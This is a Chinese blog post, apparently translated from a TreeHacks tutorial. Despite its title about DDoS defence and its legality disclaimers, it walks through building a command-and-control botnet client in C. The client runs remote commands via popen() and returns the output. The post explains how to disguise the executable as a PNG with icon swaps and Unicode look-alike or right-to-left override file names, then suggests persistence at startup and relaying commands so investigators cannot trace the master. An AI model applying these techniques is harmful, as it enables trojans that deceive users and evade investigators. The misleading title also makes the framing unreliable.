• 微信公众号:美女很有趣。 工作之余,放松一下,关注即送10G+美女照片!

僵尸网络之如何防护DDoS攻击,愿这个世界再无黑产

互联网 diligentman 2小时前 4次浏览

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径。

大家好,最近看到国外有一篇和僵尸网络有关的文章,今天分享给各位。

当然,我们面对DDoS当然是可以防御的,就比如云清洗。我写这篇文章的目的是为了让大家更多的去了解如何防护DDoS攻击,所以请勿用作违法行为!愿这个世界再无黑产。

学习网络安全的朋友可以点击【网络安全学习资料·攻略】查看学习思路,也可以私信我获取网络安全相关书籍、工具、教程

简单的 C&C 僵尸网络

这个 hackpack 将引导您完成一个基本框架,该框架从根本上表征了僵尸网络。 如果您以前使用过 C,它可能会有所帮助。 如果你喜欢这个教程,一定要给这个 repo 加星标!

注意:请勿将您在此处学到的任何内容用于恶意目的。 这个 hackpack 只是一个用于教育目的的僵尸网络案例研究。 在这个 hackpack 中学到的概念具有深远的用例(基本上与网络有关的任何事情)。 最重要的是,此 hackpack 旨在在本地进行测试和部署(因此请不要与其他黑客共享您构建的与此 hackpack 相关的任何内容)。 隐私很重要,所以请尊重它。

什么是僵尸网络?

在构建僵尸网络之前,了解什么是僵尸网络很重要。僵尸网络是能够远程接收命令并在本地部署它们的计算机网络。 或者,他们可以选择将信息中继回网络中的其他节点。 它们已被用于从分布式拒绝服务攻击到广泛部署的间谍软件的所有领域。

您过去可能听说过许多僵尸网络。 最突出的可能是 Mirai 和 Gameover Zeus,它们分别控制了 380 和 360 万台物联网设备。 僵尸网络执行某些任务的方式存在很大差异。 但是为了成功构建我们的僵尸网络,我们需要在我们的工作网络中确保以下功能。

我们的僵尸网络应该:

包括一个控制网络上所有其他节点的主节点;

在主机上部署伪装的恶意软件/从节点;

将命令从主节点传输到从节点,执行并将输出返回给主节点。

这种结构是所谓的命令与控制僵尸网络的特征。 这些僵尸网络有一台主服务器和多台从服务器。 然而,这种僵尸网络风格已经过时,可以通过切断对主域的访问来轻松取缔。 更新和复杂的僵尸网络遵循点对点架构,其中管理员权限分布在网络中的所有节点或节点子集。

这些僵尸网络让安全专家非常头疼,因为没有中央控制点,并且可以增长到数百万个节点。 消灭此类僵尸网络本身就是一个有趣的读物。 然而,为了这个 hackpack 的目的,让我们保持简单。 我们将为 C&C 僵尸网络实现一个简单的从节点。
执行
这个 hackpack 将主要处理实现客户端恶意软件。 对于主服务器,我们可以使用开源 TCP 服务器调用 Netcat。 Netcat 与僵尸网络无关。 它只是一个方便的、既定的工具,我们可以重新使用它来向来自客户端的发送文本数据包(这才是真正的主人)。 我稍微调整了 netcat 服务器并将其编译为名为“master”的二进制文件。 这里不再需要工作了! 我们的主人已经准备好使用了。

奴隶
让我们继续讨论更有趣的部分:接收和执行远程命令(我们稍后会担心伪装我们的恶意软件)。 这里的目标是使我们的从节点尽可能简单并遵守上面详述的要求。 请注意,在 lib/macros.h 中定义了许多常量,因此可以随意使用它们。 所有实现的函数签名都可以在 lib/connect.h 或 lib/utils.h 中找到。

  1. 启动
    打开 bot.c 文件。 在我们的服务器中启动一个新节点时,我们可能应该命名它,以便 master 知道将命令部署到哪些客户端。 可以使用许多命名约定。 使用 IP 地址可能是最好的,因为它是每个客户端的唯一标识符。

然而,为了让普通人更容易阅读,让我们使用计算机的用户名。 使用 C 函数getenv()有论据"USER"返回计算机存储在 USER 环境变量中的任何内容。 这是存储用户用户名的一个地方,所以让我们使用它。 另外,既然你的奴隶正在运行,让我们找到主人。 为此,我们必须知道主人的 IP 地址。 每个网络设备都有一个 IP 地址。 它负责识别其他节点和位置寻址。

此外,master 可以有许多服务器在不同的端口上运行。 所以,我们不仅要连接到master,还要指定正确的端口。 此端口由主设备选择,但可以更改。 在这个 hackpack 中,我们想在本地进行测试。 因此,我们将使用您的计算机作为我们的网络。

每台计算机的本地 IP 地址(“localhost”也解析为)是"127.0.0.1". 在 master 中,我指定它在端口上运行9999. 有了这三样东西(主 IP 地址、主端口和从名称),我们就可以在服务器和客户端之间启动一个称为套接字的通信管道。 将这三个参数传递给函数init_socket()创建一个套接字。

init_function()不是内置的 C 命令。 相反,我们需要实施它。 然后,我们需要在堆栈上分配一些空间来保存传入的消息。 我们使用大约 10KB 的堆栈空间调用这个堆栈指针msg. 最后,有一个printf声明表示一切进展顺利。

char* name = //Get the client's username and store it in name
int channel = //initiate a channel given SERVER, PORT, and name;
//Allocate stack space of size CMD_LENGTH to hold data of type char. Call the stack pointer msg
printf("%s joining the botnetn", name);

现在切换到 lib/connect.c。 让我们实施init_channel(). 首先,我定义了一个名为的堆栈字符缓冲区msg长度CMD_LENGTH和一个特殊的 C 网络结构称为server保存有关我们与 master 连接的信息。

首先将传入的 ip 地址从人类可读的格式(带有数字和点)转换为网络字节顺序的二进制格式。 这是使用一个名为的特殊 C 函数完成的inet_addr()来自套接字库。 它只是接收一个 ip 地址并将其以网络可用的二进制文件形式输出。

在 C 中,我们可以通过填写一个名为的结构体的字段来轻松地指定一个网络sockaddr_in.我们那个结构体的实例被称为server. 我们需要填写该结构体的 3 个字段:server.sin_addr.s_addr(主 IP 地址)、server.sin_family(指定通信域的 1 字节值)和 server.sin_port(我们将在主服务器上连接的端口) )。 sin_family 可以给出套接字库提供的 C 宏。

通常,在这种情况下,我们将此字段设置为AF_INET. 这意味着我们的连接通过 IP 地址识别网络节点,这正是我们想要的。 但是,也可以使用PF_INET这类似于AF_INET但指定网络可以使用协议中的任何内容来识别特定节点。 两者存在的原因还有很多假设的历史原因,但这是我真正不知道或真正关心的事情。 只需使用AF_INET.

最后,在设置服务器端口时,我们必须通过port通过一个特殊的函数调用htons()(主机到网络短)。 这会将数据从主机字节顺序转换为网络字节顺序。 这种字节顺序混乱与称为 Endianness 的东西有关。 此处阅读更多。

最后,我们需要定义主从之间的实际连接! 为此,定义一个网络套接字,通过它可以发送数据。 将 master 视为有许多“电源插座”。 现在,我们需要在 slave 上构建一个适合 master 的“墙上插座”的“插头”。 我们可以使用套接字库的socket()功能。 多么方便!socket()包含 3 个参数:通信域、套接字类型和协议。

对于通信领域,您可能已经猜到了:AF_INET. 对于套接字类型,我们希望我们的套接字能够简单地双向传输数据。 因此,使用给定的宏SOCK_STREAM. 让我们不用担心套接字协议。 这是一个相当基本的网络,所以让我们使用一个值0表示默认协议。 该函数返回一个int代表套接字。 将此值存储在频道中。

接下来,我们要启动我们的插座(将奴隶插入主人的墙上插座)。 调用 C 函数connect(). 这需要三个参数:通道、sockaddr 结构和结构的大小(以字节为单位)。 如果connect()返回一个正整数,你与master的连接成功! 为了测试我们新发现的连接,让我们向 master 发送问候! 填充我们的消息缓冲区并使用respond()(尚未实施)发送msg通过通道回到主人。 最后,我们希望init_channel()函数返回这个成功的连接。

int init_channel (char *ip, int port, char *name) {
	char msg[CMD_LENGTH];
	struct sockaddr_in server;
	server.sin_addr.s_addr = //convert the ip to network byte order
	server.sin_family = //set the server's communications domain
  server.sin_port = //convert port to network byte order
  int channel = //define a SOCK_STREAM socket
  if(channel < 0) {
    perror ("socket:");
    exit(1);
  }
  int connection_status = //use the defined channel to connect the slave to the master server
  
  if (connection_status < 0) {
    perror ("connect:");
    exit(1);
  }
  //send a greeting message back to master by loading a string into msg (hint: snprintf will come in handy)
  respond (channel, msg);
  return channel;
}

2. 监听消息
一旦从站连接到主站,它需要不断地监听消息并立即根据命令采取行动。 因此,让我们使用无限 while 循环来接收和解析这些消息。 在 bot.c 中,在printf语句,添加一个调用两个函数的无限 while 循环:recieve()和parse()以该顺序。 两个函数都取channel和msg堆栈缓冲区作为参数。 您可以在 lib/utils.h 中找到它们的函数签名。 这应该类似于:

Infinite Loop {
  recieve(...);
  parse(...);
}

去 utils.c 执行recieve()和respond().recieve()从频道中抓取消息并respond()通过通道发回消息。respond()的参数是套接字地址,s,和我们的堆栈缓冲区,msg_buf. 我们要使用 C 函数write()将堆栈缓冲区包含的任何内容写入通道并返回其状态。write()需要 3 个参数:套接字地址、消息缓冲区和消息长度。

int respond(int s, char *msg_buf) {
    //write the contents of msg_buf into socket s and return status
}

recieve()也是一个简单的帮手。 重置msg缓冲区(提示:使用memset())。 现在,调用套接字库函数read()阅读消息。read()采用 3 个参数:套接字地址、消息缓冲区和消息的最大预期长度。

int recieve(int s, char *msg) {
    //reset the msg buffer
    int read_status = //read contents of socket s into msg
    if (read_status) {
      perror("log:");
      exit(1);
    }
    return 0;
}
 

3. 执行命令

快完成了! 我们的僵尸网络现在很无聊。 它只能通过套接字接收和传输消息。 让我们让它实际执行它在终端上收到的内容。 我们先实现函数parse(). 它的作用正如其名:解析命令。 我们可以做一些简单的错误检查来查看消息是否格式错误。 此外,我们希望默默地忽略收到但并非有意为之的消息。 该消息将从 master 格式化为(僵尸网络的名称):(要执行的命令)。 我已经为你做了前者。 如果两项检查都通过,让我们将命令传递给execute()功能。

int parse (int s, char *msg, char* name) {
  char *target = msg;
  //check whether the msg was targetted for this client. If no, then silently drop the packet by returning 0
  char *cmd = strchr(msg, ':');
  if (cmd == NULL) {
    printf("Incorrect formatting. Reference: TARGET: command");
    return -1;
  }
  //adjust the cmd pointer to the start of the actual command
  //adjust the terminated character to the end of the command
  //print a local statement detailing what command was recieved
  execute (s, cmd);
  return 0;
}

关键部分,execute()应该将它接收到的任何命令通过管道传输到终端并将任何输出写入套接字回主。 创建一个堆栈缓冲区来存储每一行​​输入。 然后使用popen()C函数运行输入并将输出存储在文件中f(此时有很多方法可以解决这个问题。

您可以自定义您的僵尸网络以使用主输入做非常酷的事情,并与僵尸网络中的其他节点执行一些自主协作/更新。随意发挥您的创造力。我们现在只会坚持我们的香草目标)。 解析通过f逐行并通过套接字转储所有内容。 关闭 f 就完成了!

int execute (int s, char *cmd) {
  FILE *f = //use popen to run the command locally
  if (!f) return -1;
  while (!feof (f)) {
    //parse through f line by line and send any output back to master
  }
  fclose(f);
  return 0;
}

使用以下终端命令编译您的新僵尸网络:

gcc -lcurl lib/connect.c lib/utils.c bot.c -o bin/slave

在一个终端窗口上运行 bin/master,在其他窗口上运行 bin/slave。 输入命令为(从用户名):(远程终端命令)。 恭喜! 你刚刚建立了一个僵尸网络!

4. 伪装你的恶意软件

你可以做一些很酷的事情来伪装和部署恶意软件。 事实上,它本身就是一个完整的领域。 您可以做的一个示例是将恶意软件屏蔽为图像。 让我们使用熊猫的图像。 我在 utils.c 中添加了一个简单的函数,它可以卷曲熊猫的图像并将其呈现在预览中。 这为用户提供了打开熊猫图像的概念,而实际上用户正在运行您的恶意软件。 要添加它,请在 bot.c 中包含以下代码行:

char* open_cmd = alias_img();
system(open_cmd);
free(open_cmd);

接下来,右键单击任何图像并选择“获取信息”。 对 bin/slave 执行相同操作。 将图像缩略图拖到 bin/slave 的可执行缩略图上。 这应该会改变它在桌面上的外观。 但是,我们仍然缺少特征 .png 文件结尾。 将您的可执行文件重命名为

panda⒈png

现在,这看起来像一个 png 文件。 但是,我们使用 Unicode 字符“1”。 代替 ”。” 隐藏这仍然是 Unix 可执行文件的事实。 您可以使用更多可信的 Unix 技巧,例如用于屏蔽可执行文件名的 LEFT-TO-RIGHT OVERRIDE 字符。 在更极端的情况下,您可以在图像和文件宏中嵌入代码以在主机打开时同时运行(有点像特洛伊木马…)。 然而,因为 TreeHacks 没有人是网络罪犯,我们不应该太在意这些技术。

5. 扩展

既然您拥有一个完全可以正常工作的僵尸网络,那么您可以使用许多扩展来挑战自己。 我们的僵尸网络仍然很无趣。 除非用户每次都点击它,否则它无能为力。 以下是一些建议:

  1. 实现持久性

如果僵尸网络以某种方式留在计算机上,即使计算机关闭,它们也可以真正成为攻击者恶意活动的可靠来源。 尝试在每次启动时重新启动奴隶。 这样,一旦用户点击恶意软件,他/她的计算机就会被感染,直到他清除它。 实现这一目标的一个建议是将您的可执行进程变成一个守护进程。 然后,生成一个配置文件,将您的可执行文件添加到应在启动时执行的守护程序列表(云存储应用程序、团队消息传递平台等已经执行此操作)。

  1. 实现点对点网络

实现对等网络无非是重新安排网络设计。 然而,P2P 网络的关键是管理员/攻击者可以通过网络上的任何节点实现主控。 因此,攻击者应该拥有某种主密钥和加密登录,以允许对任何节点进行主控。

  1. 添加多个级别的误导

你实现的主从结构不是很安全。 通过杀死主节点可以轻松地释放从节点。 最佳情况下,您将切换到 P2P 设计。 但是,您也可以在将 master 的命令部署到僵尸网络之前,通过一系列攻击者控制的 bot 随机引导它的命令,从而稍微提高 master 的安全性。 这使得专家更难定位命令中心并跟踪攻击者节点和客户端节点之间的僵尸网络调用。

  1. 探索合适的网络协议

也许,更重要的是,您想更多地玩弄网络。 我们的网络非常简单。 在很多方面,它都极其薄弱,绝对不严谨。 因此,您可能想要探索已建立的网络协议,例如 Internet 中继聊天 (IRC),以构建更合适的网络。 虽然这需要一段时间,但它极具教育意义,而且是一笔值得的投资。

  1. 尝试实现自己的master

在这个 hackpack 中,我们使用了一个免费的开源项目来替代我们的主服务器。 然而,其中涉及许多缺点。 首先,我们无法自定义我们的主服务器以通过我们的网络发送自动命令。 它仅限于使用命令行输入。 其次,您可能已经注意到,僵尸网络上的所有奴隶都会收到每个命令。

我们执行的条件是检查目标名称是否与从站名称匹配。 如果为 false,则该命令将被静默删除。 这被称为广播网络。 更优化的可能是多播网络。 在广播网络中,节点将数据包中继到其所有连接的节点。 在多播系统中,可以指定某个节点子集来接收数据包。 此外,使用多播网络将命令分配从客户端移动到它所属的主服务器。 实现您自己的主节点以将僵尸网络从广播切换到多播。

当然,我们面对DDoS当然是可以防御的,就比如云清洗。我写这篇文章的目的是为了让大家更多的去了解如何防护DDoS攻击,所以请勿用作违法行为!愿这个世界再无黑产

最后,学习网络安全的朋友可以点击【网络安全学习资料·攻略】查看学习思路,也可以私信我获取网络安全相关书籍、工具、教程


程序员灯塔
转载请注明原文链接:僵尸网络之如何防护DDoS攻击,愿这个世界再无黑产
喜欢 (0)